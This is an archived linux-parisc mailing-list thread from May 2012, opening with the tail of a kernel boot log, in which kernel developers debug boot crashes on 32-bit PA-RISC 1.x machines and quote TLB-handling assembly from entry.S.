pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
pci 0000:01:06.0: PCI bridge to [bus 02-ff]
pci 0000:01:06.0: can't handle 64-bit address space for bridge
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci 0000:01:06.0: device not available (can't reserve [mem 0xf9000000-0xfbffffff])
pci 0000:01:06.0: Error enabling bridge (-22), continuing
Elroy version TR4.0 (0x5) found at 0xfed38000
LBA 10:4: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
pci_bus 0000:03: root bus resource [mem 0xf3000000-0xf33fffff]
Elroy version TR4.0 (0x5) found at 0xfed3c000
LBA 10:6: PCI host bridge to bus 0000:04
pci_bus 0000:04: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
pci_bus 0000:04: root bus resource [mem 0xf4000000-0xf5ffffff]
pci_bus 0000:04: root bus resource [mem 0xf3800000-0xf3bfffff]
iosapic: hpa not registered for 0000:04:02.0
powersw: Soft power switch at 0xf0400804 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1    393 MB/s
raid6: int32x2    481 MB/s
raid6: int32x4    524 MB/s
raid6: int32x8    477 MB/s
raid6: using algorithm int32x4 (524 MB/s)
vgaarb: device added: PCI:0000:02:00.0,decodes=io+mem,owns=none,locks=none
vgaarb: loaded
vgaarb: bridge control possible 0000:02:00.0
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 6, 262144 bytes)
TCP established hash table entries: 262144 (order: 9, 2097152 bytes)
TCP bind hash table entries: 65536 (order: 8, 1310720 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP: reno registered
UDP hash table entries: 1024 (order: 3, 49152 bytes)
UDP-Lite hash table entries: 1024 (order: 3, 49152 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
Enabling PDC chassis warnings support v0.05
Initializing RT-Tester: OK
====[ backtrace testing ]===========
Testing a backtrace from process context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d4ec>] backtrace_regression_test+0x44/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a backtrace from irq context.
The following trace is a kernel self test and not a bug!
Backtrace:
 [<10119d14>] dump_stack+0x1c/0x2c
 [<1017d488>] backtrace_test_irq_callback+0x18/0x38
 [<101399d0>] tasklet_action+0x78/0xdc
 [<10139f64>] __do_softirq+0x130/0x17c
 [<1013a020>] run_ksoftirqd+0x70/0x124
 [<10151484>] kthread+0xac/0xb4
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24

Testing a saved backtrace.
The following trace is a kernel self test and not a bug!
 [<10123624>] save_stack_trace+0x28/0x60
 [<1017d598>] backtrace_regression_test+0xf0/0x124
 [<10117f48>] do_one_initcall+0x258/0x2b8
 [<1078a208>] kernel_init+0x184/0x214
 [<1010405c>] ret_from_kernel_thread+0x1c/0x24
 [<ffffffff>] 0xffffffff
====[ end of backtrace testing ]====
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 4034
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
start plist test
end plist test
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
sti 0000:01:04.0: device not available (can't reserve [mem 0xf6000000-0xf7ffffff])
sti 0000:01:04.0: Cannot enable PCI device
sti: probe of 0000:01:04.0 failed with error -22
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f4000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
matroxfb 0000:02:00.0: enabling SERR and PARITY (0007 -> 0147)
matroxfb: Matrox G450 detected
PInS memtype = 4
matroxfb: cannot determine memory size
matroxfb: probe of 0000:02:00.0 failed with error -1
stifb: 'A1262A' (id: 0x35acda30) not supported.
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
console [ttyS0] enabled, bootconsole disabled
console [ttyS0] enabled, bootconsole disabled
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
Linux agpgart interface v0.103
brd: module loaded
loop: module loaded
Uniform Multi-Platform E-IDE driver
ns87415 0000:00:0e.0: IDE controller (0x100b:0x0002 rev 0x03)
ns87415 0000:00:0e.0: 100% native mode on irq 7
    ide0: BM-DMA at 0x0a00-0x0a07
    ide1: BM-DMA at 0x0a08-0x0a0f
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on irq 7
ide1 at 0xd00-0xd07,0xb02 on irq 7
ide-gd driver 1.18
ide-cd driver 5.00
ide-cd: hda: ATAPI 32X CD-ROM drive, 128kB Cache
cdrom: Uniform CD-ROM driver Revision: 3.20
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
scsi target1:0:5: Beginning Domain Validation
scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
scsi target1:0:5: Domain Validation skipping write tests
scsi target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
scsi target1:0:6: tagged command queuing enabled, command queue depth 16.
scsi target1:0:6: Beginning Domain Validation
scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
scsi target1:0:6: Domain Validation skipping write tests
scsi target1:0:6: Ending Domain Validation
st: Version 20101219, fixed bufsize 32768, s/g segs 256
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
net eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:30:6e:48:aa:64, IRQ 65
tulip1: EEPROM default media type Autosense
tulip1: Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block
tulip1: Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block
tulip1: Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101
sd 1:0:5:0: [sda] 17773524 512-byte logical blocks: (9.10 GB/8.47 GiB)
sd 1:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 1:0:5:0: [sda] Write Protect is off
sd 1:0:6:0: [sdb] Write Protect is off
net eth1: Digital DS21142/43 Tulip rev 33 at Port 0x28000, 00:60:b0:7a:12:89, IRQ 71
LASI 82596 driver - Revision: 1.30
sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
 sda: sda1 sda2 sda3 sda4
 sdb: sdb1 sdb2 sdb3 sdb4
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI Host Controller
usb usb1: Manufacturer: Linux 3.4.0-rc7-32bit+ ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
uhci_hcd: USB Universal Host Controller Interface driver
mousedev: PS/2 mouse device common for all mice
sd 1:0:6:0: [sdb] Attached SCSI disk
sd 1:0:5:0: [sda] Attached SCSI disk
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
device-mapper: uevent: version 1.0.3
device-mapper: ioctl: 4.22.0-ioctl (2011-10-19) initialised: dm-devel@redhat.com
usbcore: registered new interface driver usbhid
usbhid: USB HID core driver
oprofile: using timer interrupt.
TCP: cubic registered
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2012-05-14 21:31:39 UTC (1337031099)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.66
IP-Config: Complete:
     device=eth0, addr=192.168.178.66, mask=255.255.255.0, gw=192.168.178.1
     host=c3000, domain=box, nis-domain=(none)
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Waiting for all devices to be available before autodetect
md: If you don't use raid, use raid=noautodetect
md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda3): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:3.
Freeing unused kernel memory: 320k freed
modprobe: FATAL: Could not load /lib/modules/3.4.0-rc7-32bit+/modules.dep: No such file or directory

INIT: version 2.88 booting

--------------070101010100020709070002--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Mon, 14 May 2012 18:38:31 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl> <4FB182F8.2040403@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337035133 20424 80.91.229.3 (14 May 2012 22:38:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 22:38:53 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 00:38:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SU3uk-0007dq-UG
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 00:38:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756346Ab2ENWiu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 May 2012 18:38:50 -0400
Original-Received: from blu0-omc3-s15.blu0.hotmail.com ([65.55.116.90]:38140 "EHLO
	blu0-omc3-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753112Ab2ENWit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 May 2012 18:38:49 -0400
Original-Received: from BLU0-SMTP72 ([65.55.116.73]) by blu0-omc3-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 May 2012 15:38:49 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP72.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 May 2012 15:38:48 -0700
In-Reply-To: <4FB182F8.2040403@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 May 2012 22:38:48.0220 (UTC) FILETIME=[53F11DC0:01CD3222]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4377>

On 14-May-12, at 6:11 PM, Helge Deller wrote:

> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed  
> with the following trace.
> All logs attached.
>
> Any ideas?

This is exactly the same failure as reported by Vincent.

The most likely problem is the PA 1.1 tmpalias support in entry.S is  
broken.  For example,
the cache stride that is loaded in flush_dcache_page_asm to register  
r1 is wrong.  Probably,
the do_alias macro is wrong for PA 1.1.  This is hunk of code that  
should be executed
when a fdc non access fault occurs.

nadtlb_check_alias_11:
         do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate

         idtlba          pte,(va)
         idtlbp          prot,(va)

         rfir
         nop

The TLB insert instructions on PA 1.1 have a different format than on  
PA 2.0.  I'm not sure
how this would corrupt r1.

On the other hand, I had asked Vincent to put a "b,n ." instruction  
just before the fdc loop,
boot, hit the TOC button, and capture the setup registers for the  
flush operation.  It's possible
the stride variable has been clobbered.

Dave

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Mon, 14 May 2012 18:55:12 -0400
Lines: 90
Approved: news@gmane.org
Message-ID: <BLU0-SMTP81DBE1F6330E9A42F211C5971A0@phx.gbl>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl> <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337036126 27035 80.91.229.3 (14 May 2012 22:55:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 14 May 2012 22:55:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 00:55:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SU4Am-0002bD-6p
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 00:55:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758094Ab2ENWzX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 May 2012 18:55:23 -0400
Original-Received: from blu0-omc3-s6.blu0.hotmail.com ([65.55.116.81]:60046 "EHLO
	blu0-omc3-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757964Ab2ENWzX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 May 2012 18:55:23 -0400
Original-Received: from BLU0-SMTP81 ([65.55.116.72]) by blu0-omc3-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 May 2012 15:55:22 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP81.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 14 May 2012 15:55:21 -0700
In-Reply-To: <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 May 2012 22:55:21.0510 (UTC) FILETIME=[A3FD2460:01CD3224]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4378>

In particular, compare below to what happens in a normal non access  
fault:

nadtlb_miss_11:
        get_pgd         spc,ptp

        space_check     spc,t0,nadtlb_fault

        L2_ptep         ptp,pte,t0,va,nadtlb_check_alias_11

        update_ptep     ptp,pte,t0,t1

        make_insert_tlb_11      spc,pte,prot


        mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb  
inserts */
        mtsp            spc,%sr1

        idtlba          pte,(%sr1,va)
        idtlbp          prot,(%sr1,va)

        mtsp            t0, %sr1        /* Restore sr1 */

        rfir
        nop

On 14-May-12, at 6:38 PM, John David Anglin wrote:

> On 14-May-12, at 6:11 PM, Helge Deller wrote:
>
>> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed  
>> with the following trace.
>> All logs attached.
>>
>> Any ideas?
>
> This is exactly the same failure as reported by Vincent.
>
> The most likely problem is the PA 1.1 tmpalias support in entry.S is  
> broken.  For example,
> the cache stride that is loaded in flush_dcache_page_asm to register  
> r1 is wrong.  Probably,
> the do_alias macro is wrong for PA 1.1.  This is hunk of code that  
> should be executed
> when a fdc non access fault occurs.
>
> nadtlb_check_alias_11:
>        do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
>
>        idtlba          pte,(va)
>        idtlbp          prot,(va)
>
>        rfir
>        nop
>
> The TLB insert instructions on PA 1.1 have a different format than  
> on PA 2.0.  I'm not sure
> how this would corrupt r1.
>
> On the other hand, I had asked Vincent to put a "b,n ." instruction  
> just before the fdc loop,
> boot, hit the TOC button, and capture the setup registers for the  
> flush operation.  It's possible
> the stride variable has been clobbered.
>
> Dave
>
> --
> John David Anglin	dave.anglin@bell.net
>
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 09:06:57 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <1337069217.3005.8.camel@dabdike.lan>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337069233 8552 80.91.229.3 (15 May 2012 08:07:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 08:07:13 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 10:07:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUCmj-0007Hz-F1
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 10:07:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757926Ab2EOIHI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 04:07:08 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53628 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757894Ab2EOIHB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 04:07:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 51B888EE0E0;
	Tue, 15 May 2012 01:07:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TnaLcC8D04-P; Tue, 15 May 2012 01:07:00 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F2B718EE081;
	Tue, 15 May 2012 01:06:58 -0700 (PDT)
In-Reply-To: <4FB182F8.2040403@gmx.de>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4380>

On Tue, 2012-05-15 at 00:11 +0200, Helge Deller wrote:
> On 05/14/2012 03:10 AM, John David Anglin wrote:
> > I had a successful bot of 3.4.0-rc7+ this evening.
> >
> > I updated my running kernel patch to 3.4.  The futex patch is removed 
> > and Srivatsa S. Bhat's
> > patch added.
> 
> Ok, I applied your patch now.
> I used latest binutils and (as suggested by Dave) gcc-4.6 branch.
> I built Kernel 3.4.0-rc7 as 32bit-binary for my c3000, b160L and 715/64.
> 
> The c3000 booted nicely into userspace.
> 
> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed with 
> the following trace.
> All logs attached.
> 
> Any ideas?

Yes, I'm fairly certain there's a non-PA 1.0 instruction in the TLB
insertion code path.  The reason I didn't see it is that all the systems
I boot 32 bit kernels on have PA2.0 processors, so even in 32 bit mode,
they won't trip over an illegal 1.0 instruction.  The backtrace is bogus
because the actual problem is in the interruption after all of the trace
information is saved.  I'll see if I can get the system to trigger a
HPMC or TOC to get the actual location of the problem in the
interruption path.

I've finally got my systems, so just unpacking and setting them up now.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 09:09:26 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <1337069366.3005.10.camel@dabdike.lan>
References: <4FA9975C.5060708@bergerie>
	 <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	 <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	 <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	 <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337069379 9532 80.91.229.3 (15 May 2012 08:09:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 08:09:39 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 10:09:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUCp4-0002B4-Qs
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 10:09:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754419Ab2EOIJd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 04:09:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53643 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756749Ab2EOIJa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 04:09:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3A6678EE0E0;
	Tue, 15 May 2012 01:09:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IYQNQIi6aZIz; Tue, 15 May 2012 01:09:30 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 61C8D8EE081;
	Tue, 15 May 2012 01:09:28 -0700 (PDT)
In-Reply-To: <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
